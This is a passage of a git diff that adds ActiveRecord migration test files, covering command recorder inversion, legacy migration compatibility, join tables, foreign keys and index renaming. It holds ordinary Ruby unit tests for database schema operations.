+      def test_invert_add_index_with_name
+        remove = @recorder.inverse_of :add_index, [:table, [:one, :two], name: "new_index"]
+        assert_equal [:remove_index, [:table, { name: "new_index" }]], remove
+      end
+
+      def test_invert_remove_index
+        add = @recorder.inverse_of :remove_index, [:table, :one]
+        assert_equal [:add_index, [:table, :one]], add
+      end
+
+      def test_invert_remove_index_with_column
+        add = @recorder.inverse_of :remove_index, [:table, { column: [:one, :two], options: true }]
+        assert_equal [:add_index, [:table, [:one, :two], options: true]], add
+      end
+
+      def test_invert_remove_index_with_name
+        add = @recorder.inverse_of :remove_index, [:table, { column: [:one, :two], name: "new_index" }]
+        assert_equal [:add_index, [:table, [:one, :two], name: "new_index"]], add
+      end
+
+      def test_invert_remove_index_with_no_special_options
+        add = @recorder.inverse_of :remove_index, [:table, { column: [:one, :two] }]
+        assert_equal [:add_index, [:table, [:one, :two], {}]], add
+      end
+
+      def test_invert_remove_index_with_no_column
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :remove_index, [:table, name: "new_index"]
+        end
+      end
+
+      def test_invert_rename_index
+        rename = @recorder.inverse_of :rename_index, [:table, :old, :new]
+        assert_equal [:rename_index, [:table, :new, :old]], rename
+      end
+
+      def test_invert_add_timestamps
+        remove = @recorder.inverse_of :add_timestamps, [:table]
+        assert_equal [:remove_timestamps, [:table], nil], remove
+      end
+
+      def test_invert_remove_timestamps
+        add = @recorder.inverse_of :remove_timestamps, [:table, { null: true }]
+        assert_equal [:add_timestamps, [:table, { null: true }], nil], add
+      end
+
+      def test_invert_add_reference
+        remove = @recorder.inverse_of :add_reference, [:table, :taggable, { polymorphic: true }]
+        assert_equal [:remove_reference, [:table, :taggable, { polymorphic: true }], nil], remove
+      end
+
+      def test_invert_add_belongs_to_alias
+        remove = @recorder.inverse_of :add_belongs_to, [:table, :user]
+        assert_equal [:remove_reference, [:table, :user], nil], remove
+      end
+
+      def test_invert_remove_reference
+        add = @recorder.inverse_of :remove_reference, [:table, :taggable, { polymorphic: true }]
+        assert_equal [:add_reference, [:table, :taggable, { polymorphic: true }], nil], add
+      end
+
+      def test_invert_remove_reference_with_index_and_foreign_key
+        add = @recorder.inverse_of :remove_reference, [:table, :taggable, { index: true, foreign_key: true }]
+        assert_equal [:add_reference, [:table, :taggable, { index: true, foreign_key: true }], nil], add
+      end
+
+      def test_invert_remove_belongs_to_alias
+        add = @recorder.inverse_of :remove_belongs_to, [:table, :user]
+        assert_equal [:add_reference, [:table, :user], nil], add
+      end
+
+      def test_invert_enable_extension
+        disable = @recorder.inverse_of :enable_extension, ["uuid-ossp"]
+        assert_equal [:disable_extension, ["uuid-ossp"], nil], disable
+      end
+
+      def test_invert_disable_extension
+        enable = @recorder.inverse_of :disable_extension, ["uuid-ossp"]
+        assert_equal [:enable_extension, ["uuid-ossp"], nil], enable
+      end
+
+      def test_invert_add_foreign_key
+        enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people]
+        assert_equal [:remove_foreign_key, [:dogs, :people]], enable
+      end
+
+      def test_invert_remove_foreign_key
+        enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people]
+        assert_equal [:add_foreign_key, [:dogs, :people]], enable
+      end
+
+      def test_invert_add_foreign_key_with_column
+        enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id"]
+        assert_equal [:remove_foreign_key, [:dogs, column: "owner_id"]], enable
+      end
+
+      def test_invert_remove_foreign_key_with_column
+        enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, column: "owner_id"]
+        assert_equal [:add_foreign_key, [:dogs, :people, column: "owner_id"]], enable
+      end
+
+      def test_invert_add_foreign_key_with_column_and_name
+        enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"]
+        assert_equal [:remove_foreign_key, [:dogs, name: "fk"]], enable
+      end
+
+      def test_invert_remove_foreign_key_with_column_and_name
+        enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"]
+        assert_equal [:add_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"]], enable
+      end
+
+      def test_invert_remove_foreign_key_with_primary_key
+        enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, primary_key: "person_id"]
+        assert_equal [:add_foreign_key, [:dogs, :people, primary_key: "person_id"]], enable
+      end
+
+      def test_invert_remove_foreign_key_with_on_delete_on_update
+        enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, on_delete: :nullify, on_update: :cascade]
+        assert_equal [:add_foreign_key, [:dogs, :people, on_delete: :nullify, on_update: :cascade]], enable
+      end
+
+      def test_invert_remove_foreign_key_is_irreversible_without_to_table
+        assert_raises ActiveRecord::IrreversibleMigration do
+          @recorder.inverse_of :remove_foreign_key, [:dogs, column: "owner_id"]
+        end
+
+        assert_raises ActiveRecord::IrreversibleMigration do
+          @recorder.inverse_of :remove_foreign_key, [:dogs, name: "fk"]
+        end
+
+        assert_raises ActiveRecord::IrreversibleMigration do
+          @recorder.inverse_of :remove_foreign_key, [:dogs]
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/compatibility_test.rb b/activerecord/test/cases/migration/compatibility_test.rb
new file mode 100644
index 0000000000..cb3b02c02a
--- /dev/null
+++ b/activerecord/test/cases/migration/compatibility_test.rb
@@ -0,0 +1,238 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+module ActiveRecord
+  class Migration
+    class CompatibilityTest < ActiveRecord::TestCase
+      attr_reader :connection
+      self.use_transactional_tests = false
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        @verbose_was = ActiveRecord::Migration.verbose
+        ActiveRecord::Migration.verbose = false
+
+        connection.create_table :testings do |t|
+          t.column :foo, :string, limit: 100
+          t.column :bar, :string, limit: 100
+        end
+      end
+
+      teardown do
+        connection.drop_table :testings rescue nil
+        ActiveRecord::Migration.verbose = @verbose_was
+        ActiveRecord::SchemaMigration.delete_all rescue nil
+      end
+
+      def test_migration_doesnt_remove_named_index
+        connection.add_index :testings, :foo, name: "custom_index_name"
+
+        migration = Class.new(ActiveRecord::Migration[4.2]) {
+          def version; 101 end
+          def migrate(x)
+            remove_index :testings, :foo
+          end
+        }.new
+
+        assert connection.index_exists?(:testings, :foo, name: "custom_index_name")
+        assert_raise(StandardError) { ActiveRecord::Migrator.new(:up, [migration]).migrate }
+        assert connection.index_exists?(:testings, :foo, name: "custom_index_name")
+      end
+
+      def test_migration_does_remove_unnamed_index
+        connection.add_index :testings, :bar
+
+        migration = Class.new(ActiveRecord::Migration[4.2]) {
+          def version; 101 end
+          def migrate(x)
+            remove_index :testings, :bar
+          end
+        }.new
+
+        assert connection.index_exists?(:testings, :bar)
+        ActiveRecord::Migrator.new(:up, [migration]).migrate
+        assert_not connection.index_exists?(:testings, :bar)
+      end
+
+      def test_references_does_not_add_index_by_default
+        migration = Class.new(ActiveRecord::Migration[4.2]) {
+          def migrate(x)
+            create_table :more_testings do |t|
+              t.references :foo
+              t.belongs_to :bar, index: false
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration]).migrate
+
+        assert_not connection.index_exists?(:more_testings, :foo_id)
+        assert_not connection.index_exists?(:more_testings, :bar_id)
+      ensure
+        connection.drop_table :more_testings rescue nil
+      end
+
+      def test_timestamps_have_null_constraints_if_not_present_in_migration_of_create_table
+        migration = Class.new(ActiveRecord::Migration[4.2]) {
+          def migrate(x)
+            create_table :more_testings do |t|
+              t.timestamps
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration]).migrate
+
+        assert connection.columns(:more_testings).find { |c| c.name == "created_at" }.null
+        assert connection.columns(:more_testings).find { |c| c.name == "updated_at" }.null
+      ensure
+        connection.drop_table :more_testings rescue nil
+      end
+
+      def test_timestamps_have_null_constraints_if_not_present_in_migration_of_change_table
+        migration = Class.new(ActiveRecord::Migration[4.2]) {
+          def migrate(x)
+            change_table :testings do |t|
+              t.timestamps
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration]).migrate
+
+        assert connection.columns(:testings).find { |c| c.name == "created_at" }.null
+        assert connection.columns(:testings).find { |c| c.name == "updated_at" }.null
+      end
+
+      def test_timestamps_have_null_constraints_if_not_present_in_migration_for_adding_timestamps_to_existing_table
+        migration = Class.new(ActiveRecord::Migration[4.2]) {
+          def migrate(x)
+            add_timestamps :testings
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration]).migrate
+
+        assert connection.columns(:testings).find { |c| c.name == "created_at" }.null
+        assert connection.columns(:testings).find { |c| c.name == "updated_at" }.null
+      end
+
+      def test_legacy_migrations_raises_exception_when_inherited
+        e = assert_raises(StandardError) do
+          class_eval("class LegacyMigration < ActiveRecord::Migration; end")
+        end
+        assert_match(/LegacyMigration < ActiveRecord::Migration\[4\.2\]/, e.message)
+      end
+    end
+  end
+end
+
+class LegacyPrimaryKeyTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
+  self.use_transactional_tests = false
+
+  class LegacyPrimaryKey < ActiveRecord::Base
+  end
+
+  def setup
+    @migration = nil
+    @verbose_was = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
+  end
+
+  def teardown
+    @migration.migrate(:down) if @migration
+    ActiveRecord::Migration.verbose = @verbose_was
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    LegacyPrimaryKey.reset_column_information
+  end
+
+  def test_legacy_primary_key_should_be_auto_incremented
+    @migration = Class.new(ActiveRecord::Migration[5.0]) {
+      def change
+        create_table :legacy_primary_keys do |t|
+          t.references :legacy_ref
+        end
+      end
+    }.new
+
+    @migration.migrate(:up)
+
+    legacy_pk = LegacyPrimaryKey.columns_hash["id"]
+    assert_not legacy_pk.bigint?
+    assert_not legacy_pk.null
+
+    legacy_ref = LegacyPrimaryKey.columns_hash["legacy_ref_id"]
+    assert_not legacy_ref.bigint?
+
+    record1 = LegacyPrimaryKey.create!
+    assert_not_nil record1.id
+
+    record1.destroy
+
+    record2 = LegacyPrimaryKey.create!
+    assert_not_nil record2.id
+    assert_operator record2.id, :>, record1.id
+  end
+
+  def test_legacy_integer_primary_key_should_not_be_auto_incremented
+    skip if current_adapter?(:SQLite3Adapter)
+
+    @migration = Class.new(ActiveRecord::Migration[5.0]) {
+      def change
+        create_table :legacy_primary_keys, id: :integer do |t|
+        end
+      end
+    }.new
+
+    @migration.migrate(:up)
+
+    assert_raises(ActiveRecord::NotNullViolation) do
+      LegacyPrimaryKey.create!
+    end
+
+    schema = dump_table_schema "legacy_primary_keys"
+    assert_match %r{create_table "legacy_primary_keys", id: :integer, default: nil}, schema
+  end
+
+  if current_adapter?(:Mysql2Adapter)
+    def test_legacy_bigint_primary_key_should_be_auto_incremented
+      @migration = Class.new(ActiveRecord::Migration[5.0]) {
+        def change
+          create_table :legacy_primary_keys, id: :bigint
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      legacy_pk = LegacyPrimaryKey.columns_hash["id"]
+      assert legacy_pk.bigint?
+      assert legacy_pk.auto_increment?
+
+      schema = dump_table_schema "legacy_primary_keys"
+      assert_match %r{create_table "legacy_primary_keys", (?!id: :bigint, default: nil)}, schema
+    end
+  else
+    def test_legacy_bigint_primary_key_should_not_be_auto_incremented
+      @migration = Class.new(ActiveRecord::Migration[5.0]) {
+        def change
+          create_table :legacy_primary_keys, id: :bigint do |t|
+          end
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      assert_raises(ActiveRecord::NotNullViolation) do
+        LegacyPrimaryKey.create!
+      end
+
+      schema = dump_table_schema "legacy_primary_keys"
+      assert_match %r{create_table "legacy_primary_keys", id: :bigint, default: nil}, schema
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/create_join_table_test.rb b/activerecord/test/cases/migration/create_join_table_test.rb
new file mode 100644
index 0000000000..77d32a24a5
--- /dev/null
+++ b/activerecord/test/cases/migration/create_join_table_test.rb
@@ -0,0 +1,168 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class CreateJoinTableTest < ActiveRecord::TestCase
+      attr_reader :connection
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+      end
+
+      teardown do
+        %w(artists_musics musics_videos catalog).each do |table_name|
+          connection.drop_table table_name, if_exists: true
+        end
+      end
+
+      def test_create_join_table
+        connection.create_join_table :artists, :musics
+
+        assert_equal %w(artist_id music_id), connection.columns(:artists_musics).map(&:name).sort
+      end
+
+      def test_create_join_table_set_not_null_by_default
+        connection.create_join_table :artists, :musics
+
+        assert_equal [false, false], connection.columns(:artists_musics).map(&:null)
+      end
+
+      def test_create_join_table_with_strings
+        connection.create_join_table "artists", "musics"
+
+        assert_equal %w(artist_id music_id), connection.columns(:artists_musics).map(&:name).sort
+      end
+
+      def test_create_join_table_with_symbol_and_string
+        connection.create_join_table :artists, "musics"
+
+        assert_equal %w(artist_id music_id), connection.columns(:artists_musics).map(&:name).sort
+      end
+
+      def test_create_join_table_with_the_proper_order
+        connection.create_join_table :videos, :musics
+
+        assert_equal %w(music_id video_id), connection.columns(:musics_videos).map(&:name).sort
+      end
+
+      def test_create_join_table_with_the_table_name
+        connection.create_join_table :artists, :musics, table_name: :catalog
+
+        assert_equal %w(artist_id music_id), connection.columns(:catalog).map(&:name).sort
+      end
+
+      def test_create_join_table_with_the_table_name_as_string
+        connection.create_join_table :artists, :musics, table_name: "catalog"
+
+        assert_equal %w(artist_id music_id), connection.columns(:catalog).map(&:name).sort
+      end
+
+      def test_create_join_table_with_column_options
+        connection.create_join_table :artists, :musics, column_options: { null: true }
+
+        assert_equal [true, true], connection.columns(:artists_musics).map(&:null)
+      end
+
+      def test_create_join_table_without_indexes
+        connection.create_join_table :artists, :musics
+
+        assert connection.indexes(:artists_musics).blank?
+      end
+
+      def test_create_join_table_with_index
+        connection.create_join_table :artists, :musics do |t|
+          t.index [:artist_id, :music_id]
+        end
+
+        assert_equal [%w(artist_id music_id)], connection.indexes(:artists_musics).map(&:columns)
+      end
+
+      def test_create_join_table_respects_reference_key_type
+        connection.create_join_table :artists, :musics do |t|
+          t.references :video
+        end
+
+        artist_id, music_id, video_id = connection.columns(:artists_musics).sort_by(&:name)
+
+        assert_equal video_id.sql_type, artist_id.sql_type
+        assert_equal video_id.sql_type, music_id.sql_type
+      end
+
+      def test_drop_join_table
+        connection.create_join_table :artists, :musics
+        connection.drop_join_table :artists, :musics
+
+        assert !connection.table_exists?("artists_musics")
+      end
+
+      def test_drop_join_table_with_strings
+        connection.create_join_table :artists, :musics
+        connection.drop_join_table "artists", "musics"
+
+        assert !connection.table_exists?("artists_musics")
+      end
+
+      def test_drop_join_table_with_the_proper_order
+        connection.create_join_table :videos, :musics
+        connection.drop_join_table :videos, :musics
+
+        assert !connection.table_exists?("musics_videos")
+      end
+
+      def test_drop_join_table_with_the_table_name
+        connection.create_join_table :artists, :musics, table_name: :catalog
+        connection.drop_join_table :artists, :musics, table_name: :catalog
+
+        assert !connection.table_exists?("catalog")
+      end
+
+      def test_drop_join_table_with_the_table_name_as_string
+        connection.create_join_table :artists, :musics, table_name: "catalog"
+        connection.drop_join_table :artists, :musics, table_name: "catalog"
+
+        assert !connection.table_exists?("catalog")
+      end
+
+      def test_drop_join_table_with_column_options
+        connection.create_join_table :artists, :musics, column_options: { null: true }
+        connection.drop_join_table :artists, :musics, column_options: { null: true }
+
+        assert !connection.table_exists?("artists_musics")
+      end
+
+      def test_create_and_drop_join_table_with_common_prefix
+        with_table_cleanup do
+          connection.create_join_table "audio_artists", "audio_musics"
+          assert connection.table_exists?("audio_artists_musics")
+
+          connection.drop_join_table "audio_artists", "audio_musics"
+          assert !connection.table_exists?("audio_artists_musics"), "Should have dropped join table, but didn't"
+        end
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_create_join_table_with_uuid
+          connection.create_join_table :artists, :musics, column_options: { type: :uuid }
+          assert_equal [:uuid, :uuid], connection.columns(:artists_musics).map(&:type)
+        end
+      end
+
+      private
+
+        def with_table_cleanup
+          tables_before = connection.data_sources
+
+          yield
+        ensure
+          tables_after = connection.data_sources - tables_before
+
+          tables_after.each do |table|
+            connection.drop_table table
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/foreign_key_test.rb b/activerecord/test/cases/migration/foreign_key_test.rb
new file mode 100644
index 0000000000..499d072de5
--- /dev/null
+++ b/activerecord/test/cases/migration/foreign_key_test.rb
@@ -0,0 +1,339 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.connection.supports_foreign_keys_in_create?
+  module ActiveRecord
+    class Migration
+      class ForeignKeyInCreateTest < ActiveRecord::TestCase
+        def test_foreign_keys
+          foreign_keys = ActiveRecord::Base.connection.foreign_keys("fk_test_has_fk")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "fk_test_has_fk", fk.from_table
+          assert_equal "fk_test_has_pk", fk.to_table
+          assert_equal "fk_id", fk.column
+          assert_equal "pk_id", fk.primary_key
+          assert_equal "fk_name", fk.name unless current_adapter?(:SQLite3Adapter)
+        end
+      end
+    end
+  end
+end
+
+if ActiveRecord::Base.connection.supports_foreign_keys?
+  module ActiveRecord
+    class Migration
+      class ForeignKeyTest < ActiveRecord::TestCase
+        include SchemaDumpingHelper
+        include ActiveSupport::Testing::Stream
+
+        class Rocket < ActiveRecord::Base
+        end
+
+        class Astronaut < ActiveRecord::Base
+        end
+
+        setup do
+          @connection = ActiveRecord::Base.connection
+          @connection.create_table "rockets", force: true do |t|
+            t.string :name
+          end
+
+          @connection.create_table "astronauts", force: true do |t|
+            t.string :name
+            t.references :rocket
+          end
+        end
+
+        teardown do
+          @connection.drop_table "astronauts", if_exists: true
+          @connection.drop_table "rockets", if_exists: true
+        end
+
+        def test_foreign_keys
+          foreign_keys = @connection.foreign_keys("fk_test_has_fk")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "fk_test_has_fk", fk.from_table
+          assert_equal "fk_test_has_pk", fk.to_table
+          assert_equal "fk_id", fk.column
+          assert_equal "pk_id", fk.primary_key
+          assert_equal "fk_name", fk.name
+        end
+
+        def test_add_foreign_key_inferes_column
+          @connection.add_foreign_key :astronauts, :rockets
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "astronauts", fk.from_table
+          assert_equal "rockets", fk.to_table
+          assert_equal "rocket_id", fk.column
+          assert_equal "id", fk.primary_key
+          assert_equal("fk_rails_78146ddd2e", fk.name)
+        end
+
+        def test_add_foreign_key_with_column
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id"
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "astronauts", fk.from_table
+          assert_equal "rockets", fk.to_table
+          assert_equal "rocket_id", fk.column
+          assert_equal "id", fk.primary_key
+          assert_equal("fk_rails_78146ddd2e", fk.name)
+        end
+
+        def test_add_foreign_key_with_non_standard_primary_key
+          @connection.create_table :space_shuttles, id: false, force: true do |t|
+            t.bigint :pk, primary_key: true
+          end
+
+          @connection.add_foreign_key(:astronauts, :space_shuttles,
+            column: "rocket_id", primary_key: "pk", name: "custom_pk")
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "astronauts", fk.from_table
+          assert_equal "space_shuttles", fk.to_table
+          assert_equal "pk", fk.primary_key
+        ensure
+          @connection.remove_foreign_key :astronauts, name: "custom_pk"
+          @connection.drop_table :space_shuttles
+        end
+
+        def test_add_on_delete_restrict_foreign_key
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :restrict
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          if current_adapter?(:Mysql2Adapter)
+            # ON DELETE RESTRICT is the default on MySQL
+            assert_nil fk.on_delete
+          else
+            assert_equal :restrict, fk.on_delete
+          end
+        end
+
+        def test_add_on_delete_cascade_foreign_key
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :cascade
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal :cascade, fk.on_delete
+        end
+
+        def test_add_on_delete_nullify_foreign_key
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :nullify
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal :nullify, fk.on_delete
+        end
+
+        def test_on_update_and_on_delete_raises_with_invalid_values
+          assert_raises ArgumentError do
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :invalid
+          end
+
+          assert_raises ArgumentError do
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_update: :invalid
+          end
+        end
+
+        def test_add_foreign_key_with_on_update
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_update: :nullify
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal :nullify, fk.on_update
+        end
+
+        def test_foreign_key_exists
+          @connection.add_foreign_key :astronauts, :rockets
+
+          assert @connection.foreign_key_exists?(:astronauts, :rockets)
+          assert_not @connection.foreign_key_exists?(:astronauts, :stars)
+        end
+
+        def test_foreign_key_exists_by_column
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id"
+
+          assert @connection.foreign_key_exists?(:astronauts, column: "rocket_id")
+          assert_not @connection.foreign_key_exists?(:astronauts, column: "star_id")
+        end
+
+        def test_foreign_key_exists_by_name
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk"
+
+          assert @connection.foreign_key_exists?(:astronauts, name: "fancy_named_fk")
+          assert_not @connection.foreign_key_exists?(:astronauts, name: "other_fancy_named_fk")
+        end
+
+        def test_remove_foreign_key_inferes_column
+          @connection.add_foreign_key :astronauts, :rockets
+
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+          @connection.remove_foreign_key :astronauts, :rockets
+          assert_equal [], @connection.foreign_keys("astronauts")
+        end
+
+        def test_remove_foreign_key_by_column
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id"
+
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+          @connection.remove_foreign_key :astronauts, column: "rocket_id"
+          assert_equal [], @connection.foreign_keys("astronauts")
+        end
+
+        def test_remove_foreign_key_by_symbol_column
+          @connection.add_foreign_key :astronauts, :rockets, column: :rocket_id
+
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+          @connection.remove_foreign_key :astronauts, column: :rocket_id
+          assert_equal [], @connection.foreign_keys("astronauts")
+        end
+
+        def test_remove_foreign_key_by_name
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk"
+
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+          @connection.remove_foreign_key :astronauts, name: "fancy_named_fk"
+          assert_equal [], @connection.foreign_keys("astronauts")
+        end
+
+        def test_remove_foreign_non_existing_foreign_key_raises
+          assert_raises ArgumentError do
+            @connection.remove_foreign_key :astronauts, :rockets
+          end
+        end
+
+        def test_schema_dumping
+          @connection.add_foreign_key :astronauts, :rockets
+          output = dump_table_schema "astronauts"
+          assert_match %r{\s+add_foreign_key "astronauts", "rockets"$}, output
+        end
+
+        def test_schema_dumping_with_options
+          output = dump_table_schema "fk_test_has_fk"
+          assert_match %r{\s+add_foreign_key "fk_test_has_fk", "fk_test_has_pk", column: "fk_id", primary_key: "pk_id", name: "fk_name"$}, output
+        end
+
+        def test_schema_dumping_on_delete_and_on_update_options
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :nullify, on_update: :cascade
+
+          output = dump_table_schema "astronauts"
+          assert_match %r{\s+add_foreign_key "astronauts",.+on_update: :cascade,.+on_delete: :nullify$}, output
+        end
+
+        class CreateCitiesAndHousesMigration < ActiveRecord::Migration::Current
+          def change
+            create_table("cities") { |t| }
+
+            create_table("houses") do |t|
+              t.references :city
+            end
+            add_foreign_key :houses, :cities, column: "city_id"
+
+            # remove and re-add to test that schema is updated and not accidentally cached
+            remove_foreign_key :houses, :cities
+            add_foreign_key :houses, :cities, column: "city_id", on_delete: :cascade
+          end
+        end
+
+        def test_add_foreign_key_is_reversible
+          migration = CreateCitiesAndHousesMigration.new
+          silence_stream($stdout) { migration.migrate(:up) }
+          assert_equal 1, @connection.foreign_keys("houses").size
+        ensure
+          silence_stream($stdout) { migration.migrate(:down) }
+        end
+
+        def test_foreign_key_constraint_is_not_cached_incorrectly
+          migration = CreateCitiesAndHousesMigration.new
+          silence_stream($stdout) { migration.migrate(:up) }
+          output = dump_table_schema "houses"
+          assert_match %r{\s+add_foreign_key "houses",.+on_delete: :cascade$}, output
+        ensure
+          silence_stream($stdout) { migration.migrate(:down) }
+        end
+
+        class CreateSchoolsAndClassesMigration < ActiveRecord::Migration::Current
+          def change
+            create_table(:schools)
+
+            create_table(:classes) do |t|
+              t.references :school
+            end
+            add_foreign_key :classes, :schools
+          end
+        end
+
+        def test_add_foreign_key_with_prefix
+          ActiveRecord::Base.table_name_prefix = "p_"
+          migration = CreateSchoolsAndClassesMigration.new
+          silence_stream($stdout) { migration.migrate(:up) }
+          assert_equal 1, @connection.foreign_keys("p_classes").size
+        ensure
+          silence_stream($stdout) { migration.migrate(:down) }
+          ActiveRecord::Base.table_name_prefix = nil
+        end
+
+        def test_add_foreign_key_with_suffix
+          ActiveRecord::Base.table_name_suffix = "_s"
+          migration = CreateSchoolsAndClassesMigration.new
+          silence_stream($stdout) { migration.migrate(:up) }
+          assert_equal 1, @connection.foreign_keys("classes_s").size
+        ensure
+          silence_stream($stdout) { migration.migrate(:down) }
+          ActiveRecord::Base.table_name_suffix = nil
+        end
+      end
+    end
+  end
+else
+  module ActiveRecord
+    class Migration
+      class NoForeignKeySupportTest < ActiveRecord::TestCase
+        setup do
+          @connection = ActiveRecord::Base.connection
+        end
+
+        def test_add_foreign_key_should_be_noop
+          @connection.add_foreign_key :clubs, :categories
+        end
+
+        def test_remove_foreign_key_should_be_noop
+          @connection.remove_foreign_key :clubs, :categories
+        end
+
+        unless current_adapter?(:SQLite3Adapter)
+          def test_foreign_keys_should_raise_not_implemented
+            assert_raises NotImplementedError do
+              @connection.foreign_keys("clubs")
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/helper.rb b/activerecord/test/cases/migration/helper.rb
new file mode 100644
index 0000000000..c056199140
--- /dev/null
+++ b/activerecord/test/cases/migration/helper.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class << self; attr_accessor :message_count; end
+    self.message_count = 0
+
+    module TestHelper
+      attr_reader :connection, :table_name
+
+      CONNECTION_METHODS = %w[add_column remove_column rename_column add_index change_column rename_table column_exists? index_exists? add_reference add_belongs_to remove_reference remove_references remove_belongs_to]
+
+      class TestModel < ActiveRecord::Base
+        self.table_name = :test_models
+      end
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        connection.create_table :test_models do |t|
+          t.timestamps null: true
+        end
+
+        TestModel.reset_column_information
+      end
+
+      def teardown
+        super
+        TestModel.reset_table_name
+        TestModel.reset_sequence_name
+        connection.drop_table :test_models, if_exists: true
+      end
+
+      private
+
+        delegate(*CONNECTION_METHODS, to: :connection)
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb
new file mode 100644
index 0000000000..bf1ebdb4c5
--- /dev/null
+++ b/activerecord/test/cases/migration/index_test.rb
@@ -0,0 +1,218 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class IndexTest < ActiveRecord::TestCase
+      attr_reader :connection, :table_name
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        @table_name = :testings
+
+        connection.create_table table_name do |t|
+          t.column :foo, :string, limit: 100
+          t.column :bar, :string, limit: 100
+
+          t.string :first_name
+          t.string :last_name, limit: 100
+          t.string :key,       limit: 100
+          t.boolean :administrator
+        end
+      end
+
+      teardown do
+        connection.drop_table :testings rescue nil
+        ActiveRecord::Base.primary_key_prefix_type = nil
+      end
+
+      def test_rename_index
+        # keep the names short to make Oracle and similar behave
+        connection.add_index(table_name, [:foo], name: "old_idx")
+        connection.rename_index(table_name, "old_idx", "new_idx")
+
+        assert_deprecated do
+          assert_not connection.index_name_exists?(table_name, "old_idx", false)
+          assert connection.index_name_exists?(table_name, "new_idx", true)
+        end
+      end
+
+      def test_rename_index_too_long
+        too_long_index_name = good_index_name + "x"
+        # keep the names short to make Oracle and similar behave
+        connection.add_index(table_name, [:foo], name: "old_idx")
+        e = assert_raises(ArgumentError) {
+          connection.rename_index(table_name, "old_idx", too_long_index_name)
+        }
+        assert_match(/too long; the limit is #{connection.allowed_index_name_length} characters/, e.message)
+
+        assert connection.index_name_exists?(table_name, "old_idx")
+      end
+
+      def test_double_add_index
+        connection.add_index(table_name, [:foo], name: "some_idx")
+        assert_raises(ArgumentError) {
+          connection.add_index(table_name, [:foo], name: "some_idx")
+        }
+      end
+
+      def test_remove_nonexistent_index
+        assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
+      end
+
+      def test_add_index_works_with_long_index_names
